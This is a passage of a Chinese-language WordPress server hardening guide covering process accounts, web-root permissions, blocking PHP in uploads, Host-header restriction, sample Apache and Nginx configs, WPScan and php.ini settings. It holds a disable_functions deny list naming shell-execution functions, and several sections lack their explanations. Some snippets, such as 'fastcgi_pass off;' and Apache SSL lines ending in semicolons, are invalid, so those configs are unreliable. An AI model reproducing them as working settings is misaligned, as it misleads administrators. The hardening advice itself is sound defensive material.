# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**修复:**
- Web 服务器应以非特权、专用的账户运行。
- 在大多数情况下,会使用这些常用账户之一,例如 "www-data"、"apache"、"nginx"、"nobody" 或 "daemon"。
1. 对于 Apache:
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. 对于 Nginx:
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**注意:**
- Web 服务器的进程用户不应具有 shell 登录权限。 ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress由PHP构建,因此正确的系统配置对于正确执行PHP代码是必要的。
WordPress中的PHP代码执行由PHP-FPM管理,这是一个FastCGI进程管理器。 为了确保PHP-FPM的安全运行,它应该在一个非特权、专用的服务账户下运行。
通常,Web服务器进程账户和PHP-FPM账户设置为同一账户。 然而,为了增强安全性,最好将它们分别运行在不同的账户下。
原因如下:
进程隔离:
最小权限原则:
审计:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**修复措施:**
- PHP-FPM 应以一个非特权专用账户运行。
- 在大多数情况下,使用的账户是 "php-fpm"。
**更改 PHP-FPM 的进程账户:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
PHP-FPM 进程账户不应拥有 shell 登录权限。```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**注意:**
- 从安全角度来看,最好为 PHP-FPM 进程和 Web 服务器进程使用不同的用户账户。
- 当被问及哪种方式更安全时,它们应该是不同的。在此上下文中,避免使用相同的执行账户。
### 8.7. 确保 WordPress 主目录的安全配置
为了安全地运行 Web 服务器,正确配置 WordPress 主目录的所有权和权限至关重要。
在大多数情况下,WordPress 文件和目录的所有权和权限设置为与 Web 服务器的进程账户匹配。
这种配置允许 Web 服务器访问 Web 根目录中的文件并无错误地运行。
然而,这种配置是不安全的。
例如,如果 Web 服务器进程是 'apache',并且 Web 根目录和文件都由 'apache' 所有者拥有,则可能导致严重漏洞。
攻击者可以利用这些漏洞获得对 WordPress 主目录中关键文件和目录的未授权访问。
**常见漏洞示例:**
- 如果 Web 服务器进程账户和主目录(Web 根目录)以及文件都由 'apache' 拥有:
- 如果网站存在漏洞且外部可访问系统(如 webshell),攻击者可以在 Web 根目录内执行多种操作:
1. 创建、修改或删除 Web 根目录内的文件或目录。
2. 操作 Web 访问日志,包括修改、删除或创建(某些环境除外)。
3. 可以访问已登录用户的活跃会话 cookie(在特别易受攻击的环境中)。
为了减轻这些风险,正确调整 WordPress 主目录的所有权和权限至关重要。
**补救措施:**
- 将主目录(Web 根目录)和文件的所有者设置为 'root:root'。(避免与 Web 服务器进程账户相同)
- 目录和文件的默认 UMASK 为 022。(目录:755,文件:644)
- 对于需要写入权限的目录(如 Web 服务上传文件),将这些目录的所有者设置为 Web 服务器进程账户。
**WordPress 中通常需要写入权限的目录:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
按照上述修复措施配置主目录的所有权和权限后,WordPress 主目录的输出如下:
示例:WordPress 主目录``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**在 php-fpm 和 Web 服务器进程账户不同时(分离权限)**
如果 Web 服务器进程账户是 "apache",而 php-fpm 进程账户是 "php-fpm"。
更改 WordPress 中需要写入权限的目录(例如 /wp-content/uploads)的权限。
- 所有者:php-fpm
- 组:apache
- 目录权限:775(必要时使用 755)
**文件和目录结构**
设置所需目录的写入权限,以便 "php-fpm" 和 "apache" 账户都能写入。```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
总结
通过这种方式设置,可以分离Web服务器和PHP-FPM的权限,正确应用主目录的所有权和权限设置,并增强安全性。
该方法不仅适用于WordPress,也适用于任何提供Web内容的Web服务器结构。
确保在可以上传文件的目录中禁用PHP执行对于维护安全环境至关重要。
具有写入权限的上传目录是攻击者上传恶意脚本(如Web shell)的潜在目标,这些脚本可能被执行以危害服务器。
为什么这很重要?
减轻Web shell攻击:
减少攻击面:
符合安全最佳实践:
审计:
修复:
/wp-content/uploads 目录)中禁用PHP执行。配置步骤
<Location "/wp-content/uploads">
SetHandler application/octet-stream
</Location>
location /wp-content/uploads {
default_type application/octet-stream;
}
<Location "/wp-content/uploads">
php_flag engine off
# or alternatively
php_value engine 0
</Location>
<Location "/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Location>
<Directory "/var/www/html/yourwordpress/wp-content/uploads">
# Disable PHP execution
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
location /wp-content/uploads {
location ~ \.php$ {
fastcgi_pass off;
}
}
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
这些配置确保即使PHP文件被上传到 /wp-content/uploads 目录,也无法执行,从而防止潜在的攻击。
配置指令说明
SetHandler application/octet-stream:
php_flag engine off / php_value engine 0:
SetHandler none:
注意:
/wp-content/uploads 目录中的图像文件仍然可以通过 标签访问并正确显示:```
通过应用这些配置,您可以显著增强上传目录,防止潜在的脚本执行漏洞。
### 8.9. 确保 Web 服务器仅响应基于域名的 Host 头
为了确保您的 Web 服务器安全,必须确保它仅响应指向您域名的请求,而不是直接针对服务器 IP 地址的请求。
这可以通过正确配置 VirtualHost 指令来实现。
在大多数情况下,Web 服务通过域名访问,例如 `https://yourwordpress.com`。Web 服务器接收此请求并提供相应内容。为了强制执行此行为,我们需要将 Web 服务器配置为仅响应带有正确 Host 头的请求。
**允许基于 IP 访问的潜在安全风险**
1. 服务枚举:
- 攻击者可以使用 IP 地址枚举服务器上运行的服务,从而增加发现和利用漏洞的风险。
2. 敏感信息暴露:
- 配置错误的服务器在通过 IP 访问时可能会暴露目录、文件或其他不应公开访问的敏感信息。
3. 绕过安全控制:
- 基于 IP 的访问可能绕过仅针对基于域名的访问执行的安全措施,从而导致未经授权的访问。
**审计:**
- 验证 Web 服务器是否已配置为仅响应基于域名的请求,而不是直接针对 IP 地址的访问。
**修复:**
- 配置 Web 服务器仅根据指定域处理请求,并适当地拒绝或重定向其他请求。
**配置步骤**
1. 默认 VirtualHost 配置
- 创建一个默认 VirtualHost,捕获所有未指定的请求并返回 403 Forbidden 或重定向它们。
**对于 Apache:**
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
...
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /path/to/ssl/certificate.crt;
SSLCertificateKeyFile /path/to/ssl/private.key;
...
<Location />
Require all denied
</Location>
</VirtualHost>
```
**对于 Nginx:**
```
server {
listen 80 default_server;
return 403;
}
server {
listen 443 ssl default_server;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
return 403;
}
```
2. 基于域名的 VirtualHost 配置
- 确保您已为您的域名配置了 VirtualHost。
**对于 Apache:**
```
<VirtualHost *:80>
ServerName yourwordpress.com
...
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /etc/httpd/to/ssl/certificate.crt;
SSLCertificateKeyFile /etc/httpd/to/ssl/private.key;
...
</VirtualHost>
```
**对于 Nginx:**
```
server {
listen 443 ssl;
server_name yourwordpress.com;
root /var/www/html/wordpress;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
```
3. 测试
- 这是为 `yourwordpress.com` 创建默认 VirtualHost 和基于域名的 VirtualHost 的过程。
- 在为 `yourwordpress.com` 创建默认 VirtualHost 和基于域名的 VirtualHost 后,非基于域名的请求(https://ip)将被拒绝(403 错误),显示 403 错误页面。
```
$ curl -i -k http(s)://10.10.66.88
HTTP/1.1 403 Forbidden
Server: nginx
Date: Mon, 03 Jun 2024 23:23:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
$ curl -i -k https://yourwordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jun 2024 23:32:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
Hello, yourwordpress.com
```
- 如果需要在服务器之间或同一 IP 子网内进行通信,您可以配置默认 VirtualHost 以允许来自特定 IP 地址的访问。
通过实施这些配置,Web 服务器将仅响应指向您域名的请求。
### 8.10. 完整的 Web 服务器配置
以下是一个包含安全指南的完整 Web 服务器配置示例。请根据您的 WordPress Web 服务器环境进行调整和使用。
1. Apache
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
ErrorLog /var/log/httpd/http.ip.error.log
CustomLog /var/log/httpd/http.ip.access.log combined
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.ip.error.log
CustomLog /var/log/httpd/https.ip.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Location />
Require all denied
</Location>
</VirtualHost>
<VirtualHost *:80>
ServerName yourwordpress.com
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
Protocols h2 http/1.1
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.yourwordpress.com.error.log
CustomLog /var/log/httpd/https.yourwordpress.com.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Directory /var/www/html/current/public>
Options -Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Deny PHP execution in uploads directory
<Directory "/var/www/html/current/public/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
# PHP Serving
ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ unix:/var/run/php-fpm/php-fpm.sock|fcgi://localhost/var/www/html/current/public
#ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/current/public
# Favicon
<Location "/favicon.ico">
ErrorDocument 404 "Not Found"
SetEnvIf Request_URI "^/favicon\.ico$" no_log
</Location>
# Robots.txt
<Location "/robots.txt">
Require all granted
SetEnvIf Request_URI "^/robots\.txt$" no_log
</Location>
# Restrict access to wp-cron.php
<Files "wp-cron.php">
Require all denied
Require ip 127.0.0.1
</Files>
# Restrict access to wp-json
<Location "/wp-json/">
Require all denied
Require ip 127.0.0.1
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
# Restrict access to wp-admin
<Location "/wp-admin">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
<Files "wp-login.php">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Files>
# Deny access to hidden files
<FilesMatch "^\.">
Require all denied
</FilesMatch>
</VirtualHost>
```
2. Nginx
```
server {
listen 80 default_server;
listen 443 default_server ssl http2;
error_log /var/log/nginx/http.ip.error.log;
access_log /var/log/nginx/http.ip.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location / {
deny all;
}
}
server {
listen 443 ssl http2;
server_name yourwordpress.com;
root /var/www/html/wordpress;
error_log /var/log/nginx/https.yourwordpress.com.error.log;
access_log /var/log/nginx/https.yourwordpress.com.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# Restrict to access Wordpress Cron
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
# Restrict to access json rest-api
location ~ ^/wp-json/ {
allow 127.0.0.1; # Allow localhost
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
access_log off;
log_not_found off;
}
# Restrict to access Wordpress Admin
location = /wp-admin {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
# Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
# Keep logging the requests to parse later (or to pass to firewall utilities such as fail2ban)
location ~ /\. {
deny all;
}
# Deny access to any files with a .php extension in the uploads directory
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
# Other example
# location ~* /(?:uploads|files)/.*\.php$ {
# deny all;
# }
# Rewrite rules, sends everything through index.php and keeps the appended query string intact
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Serving PHP
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\\.php)(/.+)$;
# fastcgi_pass 127.0.0.1:9000; # With php-cgi (or other tcp sockets):
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; # With php-fpm (or other unix sockets):
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
```
## 9. 确保 WordPress 安全更新
WordPress 通过在发现漏洞时发布新版本更新来解决安全漏洞。
例如,如果在 WordPress 6.5.2 中发现了一个安全漏洞,它将在 6.5.3 版本中得到解决和分发。
由于安全更新不是按版本逐个管理的,因此需要定期进行版本更新以解决安全漏洞。
有关更新,请参考官方 WordPress 发布信息:
[WordPress 发布](https://wordpress.org/download/releases/)
**修复:**
- 定期更新 WordPress。
- WordPress 不按版本逐个管理更新(包括安全更新)。
- 截至 2024 年 5 月 20 日,只有 6.5 版本处于维护状态。
**注意:**
- 不支持 Beta、Nightly 版本以及其他 Subversion 签出版本。
- 避免使用不是官方 WordPress 版本的派生产品或版本。
- 受支持版本的文档:[受支持版本](https://wordpress.org/documentation/article/supported-versions/)
## 10. 确保定期检查 WordPress 安全漏洞
WordPress 是一个内容管理系统(CMS)软件。
由于它是打包软件,安全漏洞主要出现在其组件(核心文件、插件、主题等)中。
与根据特定需求定制的自定义开发的 Web 应用程序不同,识别和解决安全漏洞必须使用适合 WordPress 的方法。
如果 WordPress 构建的网站没有进行大量自定义,并且保留了 WordPress 的性质,则可以使用 WPScan 轻松检查安全漏洞。
WPScan 是部分付费的软件,但基本免费层没有功能限制。它允许定期检查和响应 WordPress 安全漏洞。
**修复:**
- 使用 WPScan(或类似的可以扫描 WordPress 的工具)定期进行漏洞检查。
- 如果发现漏洞,请验证并执行必要的操作以消除它们。在大多数情况下,这可以通过更新来解决。
- 请参考 [WPScan 用户文档](https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation)。
- 有关 WordPress 中常见漏洞的更多信息:[扩展 WordPress 常见安全漏洞](https://learn.wordpress.org/tutorial/extending-wordpress-common-security-vulnerabilities/)
**WPScan:**```
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://yourwordpress.com/ [192.168.10.100]
[+] Started: Fri May 24 14:39:06 2024
Interesting Finding(s):
[+] Headers
..
...
| - content-security-policy: upgrade-insecure-requests
| Found By: Headers (Passive Detection)
| Confidence: 100%
..
...
[+] XML-RPC seems to be enabled: https://yourwordpress.com/xmlrpc.php
| Found By: Link Tag (Passive Detection)
| Confidence: 30%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
..
...
[+] Finished: Fri May 24 14:39:48 2024
[+] Requests Done: 187
[+] Cached Requests: 7
[+] Data Sent: 56.32 KB
[+] Data Received: 605.595 KB
[+] Memory used: 276.602 MB
[+] Elapsed time: 00:00:42
| 序号 | 角色 | 描述 | 管理职员 |
|---|
| 1 | 管理员 | 拥有所有 WordPress 功能的完全访问权限,可以管理网站上的所有内容。 | 系统管理员 |
| 2 | 编辑 | 可以管理和发布其他用户的文章,也可以编辑和发布内容。 | 运营服务经理、内部内容贡献者 |
| 3 | 作者 | 可以撰写和发布自己的文章,并有权编辑自己的文章。 | 内部内容贡献者 |
| 4 | 贡献者 | 可以撰写内容但不能发布。文章需由管理员审核并发布。 | 内部内容贡献者 |
| 5 | 订阅者 | 可以登录网站并管理个人资料,但不能撰写或编辑内容。 | 内部内容贡献者 |
; 使会话 Cookie 无法被 JavaScript 访问
session.cookie_httponly = On
open_basedir:
; 将 PHP 文件访问限制到指定目录
open_basedir = "/path/to/your/web/root"
示例:
open_basedir = "/var/www/html:/tmp"
此配置允许 PHP 仅访问 /var/www/html 目录和临时目录 /tmp 内的文件。
disable_functions:
; 禁用潜在危险的 PHP 函数
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
已禁用函数的说明:
system, exec, shell_exec, passthru:
mysql_list_dbs:
ini_alter:
dl:
symlink, link:
chgrp:
leak:
popen:
apache_child_terminate:
virtual:
mb_send_mail: